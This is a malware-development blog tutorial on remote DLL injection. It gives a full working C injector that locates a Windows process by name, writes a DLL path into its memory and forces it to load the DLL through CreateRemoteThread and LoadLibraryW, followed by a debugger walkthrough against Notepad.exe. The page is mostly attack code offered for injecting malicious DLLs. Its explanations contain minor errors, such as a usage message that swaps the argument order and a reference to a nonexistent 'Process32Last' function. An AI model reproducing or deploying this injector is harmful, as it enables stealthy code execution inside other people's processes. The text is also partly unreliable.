> For the complete documentation index, see [llms.txt](https://www.insidepwn.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.insidepwn.com/blogs/maldev/remote-dll-injection.md).

# Remote DLL Injection

### **Remote DLL Injection**

* the main work of Remote DLL injection is to inject malicious DLL into a different process than ours

```c
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <wchar.h>

int wmain(int argc , wchar_t* argv[]) {

	if (argc != 3)
	{
		printf("[!] Usage : RemoteDllInjection.exe <Complete DLL Payload Path> <Process Name (its case sensitive)>");
		exit(1);
	}

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	PROCESSENTRY32 pe32;
	
	pe32.dwSize = sizeof(PROCESSENTRY32);

	BOOL process_32_first = Process32First(snapshot,&pe32);

	//do {
	//printf("%ls : %lu : %ls\n", pe32.szExeFile, pe32.th32ProcessID);
	//} while (Process32Next(snapshot,&pe32));

	DWORD dwProcessId  = 0;

	do {
		if (wcscmp(pe32.szExeFile, argv[1]) == 0)
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}
	} while (Process32Next(snapshot, &pe32));

	printf("PID : %lu\n",dwProcessId);
	if (dwProcessId == 0)
	{
		printf("[!] Process name not found !\nMake sure you are entering correct process name (its case sensitive) !\n");
		exit(1);
	}

	int dll_path_size = (lstrlenW(argv[2])) * sizeof(WCHAR);

	HANDLE kernel32 = GetModuleHandleW(L"kernel32.dll");

	LPVOID pLoadLibraryW = GetProcAddress(kernel32,"LoadLibraryW");

	printf("address of LoadLibraryW : %p\n", pLoadLibraryW);

	printf("Press < Enter > to continue\n");
	getchar();

	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
	if (process == NULL)
	{
		printf("[!]Process not found\n");
		exit(1);
	}
	
	LPVOID alloc = VirtualAllocEx(process,NULL,dll_path_size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

	printf("address where space is allocated : %p\n",alloc);

	printf("Press < Enter > to continue writing the memory\n");
	getchar();

	SIZE_T lpNumberOfBytesWritten = 0;

	BOOL write_in_process = WriteProcessMemory(process,alloc,argv[2],dll_path_size,&lpNumberOfBytesWritten);
	
	if(write_in_process == TRUE){
	printf("Successfully written %d bytes in the %ls memory\n",lpNumberOfBytesWritten,argv[1]);
	}
	else {
		printf("The data could not be written in the %ls ",argv[1]);
	}

	HANDLE remote_thread = CreateRemoteThread(process,NULL,0,pLoadLibraryW,alloc,0,NULL);

	WaitForSingleObject(remote_thread,5000);

	printf("Press < Enter > to Quit");
	getchar();
}
```

1. in this first we will create a snapshot of current system processes using `CreateToolhelp32Snapshot` and `TH32CS_SNAPPROCESS`

```c
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
```

2. to further enumerate or list the process we use `Process32First` and `Process32Last` and both in turn take a pointer to `PROCESSENTRY32` which is the structure of a processes

* and before calling `Process32First` and `Process32Last` we initialize **dwSize** to `sizeof(PROCESSENTRY32)`

<figure><img src="/files/m5D9xOEyu4HGMZwjeJ9A" alt=""><figcaption></figcaption></figure>

```c
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	PROCESSENTRY32 pe32;
	
	pe32.dwSize = sizeof(PROCESSENTRY32);
```

* and the next we do is enumerate all process and get the PID of the process that is required and supplied through `argv[1]`

```c
	BOOL process_32_first = Process32First(snapshot,&pe32);

	DWORD dwProcessId  = 0; // this is just initializing PID and making it available for the if loop below

	do {
		if (wcscmp(pe32.szExeFile, argv[1]) == 0)
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}
	} while (Process32Next(snapshot, &pe32));
```

* this help us to get the PID of the desired process

3. next what we do is get the access of the mention process using its PID and with the help of `OpenProcess`

```c
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
	if (process == NULL)
	{
		printf("[!]Process not found\n");
		exit(1);
	}
```

4. next here we allocate the memory which is when you pass the dll full path `argv[2]` , the path size gets calculated and we allocate that much space

```c
	int dll_path_size = (lstrlenW(argv[2])) * sizeof(WCHAR);
```

```c
	LPVOID alloc = VirtualAllocEx(process,NULL,dll_path_size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

	printf("address where space is allocated : %p\n",alloc);

	printf("Press < Enter > to continue writing the memory\n");
	getchar();
```

* used `lstrlenW` because we need to find length of a unicode string we got from `wchar_t char* argv[]`
* but why even we multiply ? because `lstrlenW` return the number of characters and `VirtualAllocEx` `dwSize` needs bytes
* so one WCHAR = 2 bytes

<figure><img src="/files/LIPy9DZ3n34uoq9oRiBv" alt=""><figcaption></figcaption></figure>

5. next when the space is allocated we will use `WriteProcessMemory` to write in the space we have allocated

* but what we have to write ?
  * the answer is the PATH of DLL that we will input `argv[2]`

```c
	SIZE_T lpNumberOfBytesWritten = 0;

	BOOL write_in_process = WriteProcessMemory(process,alloc,argv[2],dll_path_size,&lpNumberOfBytesWritten);
	
	if(write_in_process == TRUE){
	printf("Successfully written %d bytes in the %ls memory\n",lpNumberOfBytesWritten,argv[1]);
	}
	else {
		printf("The data could not be written in the %ls ",argv[1]);
	}

```

6. then we just simply create a remote thread and it has the address of `LoadLibraryW` as start address and further and pointer to `VirtualAllocEx` which acts as parameters and which in turn has the PATH of the DLL needs to be executed

* here we did not use `LoadLibraryW` to load `kernel32.dll` into our current process by default in every process , we just need to get a handle to it

```c
	HANDLE kernel32 = GetModuleHandleW(L"kernel32.dll");

	LPVOID pLoadLibraryW = GetProcAddress(kernel32,"LoadLibraryW");
```

```c
	HANDLE remote_thread = CreateRemoteThread(process,NULL,0,pLoadLibraryW,alloc,0,NULL);

	WaitForSingleObject(remote_thread,5000);

	printf("Press < Enter > to Quit");
	getchar();
```

### Debugging

1. attach the compiled code exe to x64dbg and we first see that the `LoadLibraryW` is at address `00007FFDEA9BF720` and we get the `Notepad.exe` PID

```
"E:\chill time\c shit\Mal Dev\x64\Debug\Mal Dev.exe" Notepad.exe "E:\chill time\c shit\dll_loader\x64\Debug\dll_loader.dll"
```

<figure><img src="/files/WvproiUg5pKaDyOWN0yZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zvmFYIDaWw0F9rxkM6ak" alt=""><figcaption></figcaption></figure>

2. lets press enter and continue and we see that we get the address `0000014CDA1A0000` of the space allocated , to see this we need to attach x64dbg to the Process PID

<figure><img src="/files/xOV2GKi3EHWsXP1WO6ze" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mM5GftqLFmLkUbEsOTWb" alt=""><figcaption></figcaption></figure>

* currently we see its empty as the path `WriteProcessMemory` has not been executed yet

3. after executing we see that the same memory address that was empty above is now been filled with the PATH of the DLL

<figure><img src="/files/VokqTEFvXjrhtWOdjZ7B" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7bXvh6Na4QTYogYBu8Wv" alt=""><figcaption></figcaption></figure>

4. at last when the `CreateRemoteThread` works we see that the DLL is executed and a message box pops up

<figure><img src="/files/JXIkmbmgQiMreBCqvszC" alt=""><figcaption></figcaption></figure>

* also we can see that in our `Notepad.exe` we see our DLL loaded

<figure><img src="/files/sgmVbZ2jiC5sFX8X3Oea" alt=""><figcaption></figcaption></figure>

* also `LoadLibraryW` is present in the `Notepad.exe`

<figure><img src="/files/yv9pbbQPpJlpm5LNwdSR" alt=""><figcaption></figcaption></figure>
